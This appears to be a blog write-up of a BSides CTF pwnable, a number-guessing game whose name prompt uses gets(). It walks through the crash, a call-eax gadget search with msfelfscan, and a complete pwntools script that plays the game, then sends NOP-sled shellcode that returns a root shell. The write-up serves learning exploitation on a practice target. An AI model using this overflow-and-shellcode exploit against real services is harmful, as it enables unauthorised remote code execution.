I was pretty surprised that few people solved this one. I think there may have been an issue with the binary originally published where NX was enabled. This cost me a bit of time but no matter. We solved it easily in the end. It’s a two part pwnable. A guessing game where you have to guess a number and receive higher/lower replies. When you win you get to enter your name.

In the binary you can see this is a trivial stack overflow by way of gets():

char *win()
{
  char s; // [sp+Ch] [bp-8Ch]@4
  int v2; // [sp+8Ch] [bp-Ch]@2

  puts("\nYay! You guessed correctly");
  do
    v2 = getchar();
  while ( v2 != 10 && v2 != -1 );
  printf("Enter your name and we'll schedule a meeting: ");
  return gets(&s);
}

For the guessing game I write a trivial binary searcher and when prompted to enter my name I send a bunch of A’s to see where the chips fall:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xff9e95ac ('A' <repeats 200 times>...)
EBX: 0x0 
ECX: 0xf76ce5a0 --> 0xfbad2088 
EDX: 0xf76cf87c --> 0x0 
ESI: 0x1 
EDI: 0xf76ce000 --> 0x1b3db0 
EBP: 0x41414141 ('AAAA')
ESP: 0xff9e9640 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
...
Stopped reason: SIGSEGV
0x41414141 in ?? ()

I can see esp points to our input so let’s check for a gadget to use to jmp there.

root@kali:~/ctfs/bsides/pwn/guessing# msfelfscan -j esp guessing 
[guessing]

Nope. Well EAX is also pointing at our payload, any EAX gadgets?

root@kali:~/ctfs/bsides/pwn/guessing# msfelfscan -j eax guessing 
[guessing]
0x08048513 call eax

That’ll do! Quick exploit time:

#!/usr/bin/python

from pwn import *

#host = "pwn3.bsides"
host = "localhost"
port = 10000

call_eax = p32(0x8048513)

payload = asm(shellcraft.nop()) * 20
payload += asm(shellcraft.sh())
payload += "A" * (cyclic_find('laab') - len(payload))
payload += call_eax
payload += "C" * 200

conn = remote(host, port)
val = 500
valmax = 1000
print "[*] Playing guessing game..."
while True:
    conn.recvuntil('>')
    conn.sendline(str(val))
    result = conn.recvline()
    
    if 'higher' in result:
        val += (valmax - val) // 2
    elif 'lower' in result:
        valmax = val
        val -= (val // 2)
    else:
        print "[*] Won guessing game..."
        break

conn.recvuntil(':')
print "[*] Sending payload..."
conn.sendline(payload)
conn.interactive()

And a quick test and it works!

root@kali:~/ctfs/bsides/pwn/guessing# ./test1.py 
[+] Opening connection to localhost on port 10000: Done
[*] Playing guessing game...
[*] Won guessing game...
[*] Sending payload...
[*] Switching to interactive mode
 $ id
uid=0(root) gid=0(root) groups=0(root)

Interviewing in Tech: Security Engineer & Security Analyst

Landing a job as a security engineer or analyst at a tech company is a significant feat. It requires not only technical acumen but also s...… Continue reading

BSides Sydney 2023 Writeups

Published on November 24, 2023

DUCTF 2023 Writeups

Published on August 31, 2023